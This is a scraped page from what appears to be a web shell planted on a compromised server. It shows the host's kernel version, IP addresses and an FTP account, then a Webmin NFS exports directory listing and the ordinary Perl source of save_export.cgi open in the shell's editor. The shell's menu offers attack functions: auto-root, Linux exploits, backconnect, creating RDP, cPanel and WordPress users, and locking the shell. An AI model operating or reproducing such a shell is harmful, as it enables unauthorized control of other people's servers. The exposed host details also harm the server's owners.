Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
exports /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
621
B
-rw-r--r--
backup_config.pl
696
B
-rwxr-xr-x
cgi_args.pl
268
B
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
84
B
-rw-r--r--
config-Amazon-Linux-2-ALL
84
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
84
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
84
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
84
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
84
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
84
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
84
B
-rw-r--r--
config-aix
139
B
-rw-r--r--
config-cobalt-linux
248
B
-rw-r--r--
config-coherent-linux
200
B
-rw-r--r--
config-corel-linux
204
B
-rw-r--r--
config-debian-linux
204
B
-rw-r--r--
config-debian-linux-2.2
204
B
-rw-r--r--
config-debian-linux-3.0-ALL
206
B
-rw-r--r--
config-generic-linux
167
B
-rw-r--r--
config-gentoo-linux
190
B
-rw-r--r--
config-mandrake-linux
196
B
-rw-r--r--
config-msc-linux
190
B
-rw-r--r--
config-open-linux
200
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
92
B
-rw-r--r--
config-openmamba-linux
200
B
-rw-r--r--
config-pardus-linux
167
B
-rw-r--r--
config-redhat-linux
200
B
-rw-r--r--
config-redhat-linux-24.0-ALL
101
B
-rw-r--r--
config-slackware-linux
167
B
-rw-r--r--
config-slackware-linux-8.0-ALL
113
B
-rw-r--r--
config-sol-linux
167
B
-rw-r--r--
config-suse-linux
206
B
-rw-r--r--
config-suse-linux-7.1-ALL
204
B
-rw-r--r--
config-syno-linux
187
B
-rw-r--r--
config-trustix-linux
190
B
-rw-r--r--
config-turbo-linux
196
B
-rw-r--r--
config-united-linux
204
B
-rw-r--r--
config.info
170
B
-rw-r--r--
config.info.ca
206
B
-rw-r--r--
config.info.cs
150
B
-rw-r--r--
config.info.de
194
B
-rw-r--r--
config.info.es
123
B
-rw-r--r--
config.info.fr
149
B
-rw-r--r--
config.info.it
194
B
-rw-r--r--
config.info.ms
125
B
-rw-r--r--
config.info.nl
195
B
-rw-r--r--
config.info.no
193
B
-rw-r--r--
config.info.pl
162
B
-rw-r--r--
config.info.ru
243
B
-rw-r--r--
config.info.sv
104
B
-rw-r--r--
config.info.tr
139
B
-rw-r--r--
config.info.uk
242
B
-rw-r--r--
config.info.zh
98
B
-rw-r--r--
config.info.zh_TW
101
B
-rw-r--r--
delete_exports.cgi
1009
B
-rwxr-xr-x
edit_export.cgi
6.23
KB
-rwxr-xr-x
exports-lib.pl
8.27
KB
-rwxr-xr-x
index.cgi
2.11
KB
-rwxr-xr-x
install_check.pl
407
B
-rwxr-xr-x
log_parser.pl
1.06
KB
-rwxr-xr-x
module.info
181
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
112
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
140
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
169
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
158
B
-rw-r--r--
module.info.ca
0
B
-rw-r--r--
module.info.ca.auto
126
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
116
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
104
B
-rw-r--r--
module.info.de
0
B
-rw-r--r--
module.info.de.auto
135
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
208
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
145
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
136
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
143
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
119
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
130
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
127
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
112
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
160
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
140
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
153
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
135
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
119
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
129
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
113
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
132
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
114
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
101
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
115
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
140
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
149
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
123
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
205
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
124
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
112
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
102
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
225
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
155
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
189
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
192
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
147
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
114
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
123
B
-rw-r--r--
restart_mountd.cgi
349
B
-rwxr-xr-x
save_export.cgi
4.44
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_export.cgi
#!/usr/bin/perl # save_export.cgi # Save, create or delete an export use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require './exports-lib.pl'; our (%text, %in, %config); &ReadParse(); &lock_file($config{'exports_file'}); my @exps = &list_exports(); my %exp; if ($in{'delete'}) { # Deleting some export my $exp = $exps[$in{'idx'}]; &delete_export($exp); %exp = %$exp; } else { my ($oldexp, %opts); if (!$in{'new'}) { # Get old export $oldexp = $exps[$in{'idx'}]; %opts = %{$oldexp->{'options'}}; } # Validate and parse inputs &error_setup($text{'save_err'}); -d $in{'dir'} || &error(&text('save_edir', $in{'dir'})); $exp{'dir'} = $in{'dir'}; if (defined($in{'pfs_def'})) { $in{'pfs_def'} || $in{'pfs'} =~ /^\/\S+$/ || &error(&text('save_epfs', $in{'pfs'})); $exp{'pfs'} = $in{'pfs_def'} ? undef : $in{'pfs'}; } $exp{'active'} = $in{'active'}; if ($in{'mode'} == 0) { $exp{'host'} = "=public"; } elsif ($in{'mode'} == 1) { $in{'netgroup'} =~ /^\S+$/ || &error($text{'save_enetgroup'}); $exp{'host'} = '@'.$in{'netgroup'}; } elsif ($in{'mode'} == 2) { &check_ipaddress($in{'network'}) || &error(&text('save_enetwork', $in{'network'})); &check_ipaddress($in{'netmask'}) || &error(&text('save_enetmask', $in{'netmask'})); $exp{'host'} = $in{'network'}."/".$in{'netmask'}; } elsif ($in{'mode'} == 3) { $exp{'host'} = ""; } else { $in{'host'} =~ /\*/ || &to_ipaddress($in{'host'}) || &error(&text('save_ehost', $in{'host'})); $exp{'host'} = $in{'host'}; } # Authentication is in the host name if ($in{'ver'} >= 4) { $opts{'sec'} = join(":", split(/\r?\n/, $in{'sec'})); if ($opts{'sec'} eq 'sys') { delete($opts{'sec'}); } if ($opts{'sec'} && $opts{'sec'} !~ /:/ && $exp{'host'} eq '') { # Allow hosts allowed for this security level $exp{'host'} = 'gss/'.$opts{'sec'}; delete($opts{'sec'}); } } # Validate and parse options delete($opts{'rw'}); delete($opts{'ro'}); if ($in{'ro'}) { $opts{'ro'} = ""; } else { $opts{'rw'} = ""; } delete($opts{'secure'}); delete($opts{'insecure'}); $opts{'insecure'} = "" if ($in{'insecure'}); delete($opts{'no_subtree_check'}); delete($opts{'subtree_check'}); $opts{'no_subtree_check'} = "" if ($in{'no_subtree_check'}); delete($opts{'nohide'}); delete($opts{'hide'}); $opts{'nohide'} = "" if ($in{'nohide'}); delete($opts{'sync'}); delete($opts{'async'}); if ($in{'sync'} == 1) { $opts{'sync'} = ""; } elsif ($in{'sync'} == 2) { $opts{'async'} = ""; } delete($opts{'root_squash'}); delete($opts{'no_root_squash'}); delete($opts{'all_squash'}); delete($opts{'no_all_squash'}); $opts{'no_root_squash'} = "" if ($in{'squash'} == 0); $opts{'all_squash'} = "" if ($in{'squash'} == 2); if ($in{'anonuid_def'}) { delete($opts{'anonuid'}); } elsif ($in{'anonuid'} =~ /^-?[0-9]+$/) { $opts{'anonuid'} = $in{'anonuid'}; } else { $opts{'anonuid'} = getpwnam($in{'anonuid'}); $opts{'anonuid'} || &error($text{'save_eanonuid'}); } if ($in{'anongid_def'}) { delete($opts{'anongid'}); } elsif ($in{'anongid'} =~ /^-?[0-9]+$/) { $opts{'anongid'} = $in{'anongid'}; } else { $opts{'anongid'} = getgrnam($in{'anongid'}); $opts{'anongid'} || &error($text{'save_eanongid'}); } # NFSv2 specific options delete($opts{'link_relative'}); delete($opts{'link_absolute'}); delete($opts{'noaccess'}); delete($opts{'squash_uids'}); delete($opts{'squash_gids'}); delete($opts{'map_daemon'}); $opts{'link_relative'} = "" if ($in{'link_relative'}); $opts{'noaccess'} = "" if ($in{'noaccess'}); if (!$in{'squash_uids_def'}) { if ($in{'squash_uids'} !~ /^[\d+\-\,]+$/) { &error($text{'save_euids'}); } else { $opts{'squash_uids'} = $in{'squash_uids'}; $opts{'map_daemon'} = ""; } } if (!$in{'squash_gids_def'}) { if ($in{'squash_gids'} !~ /^[\d+\-\,]+$/) { &error($text{'save_egids'}); } else { $opts{'squash_gids'} = $in{'squash_gids'}; $opts{'map_daemon'} = ""; } } $exp{'options'} = \%opts; # Create or update the export if ($in{'new'}) { if ($exp{'pfs'}) { &create_export_via_pfs(\%exp); } else { &create_export(\%exp); } } else { &modify_export(\%exp, $oldexp); } } &unlock_file($config{'exports_file'}); if ($in{'delete'}) { &webmin_log("delete", "export", $exp{'dir'}, \%exp); } elsif ($in{'new'}) { &webmin_log("create", "export", $exp{'dir'}, \%exp); } else { &webmin_log("modify", "export", $exp{'dir'}, \%exp); } &redirect("");
Close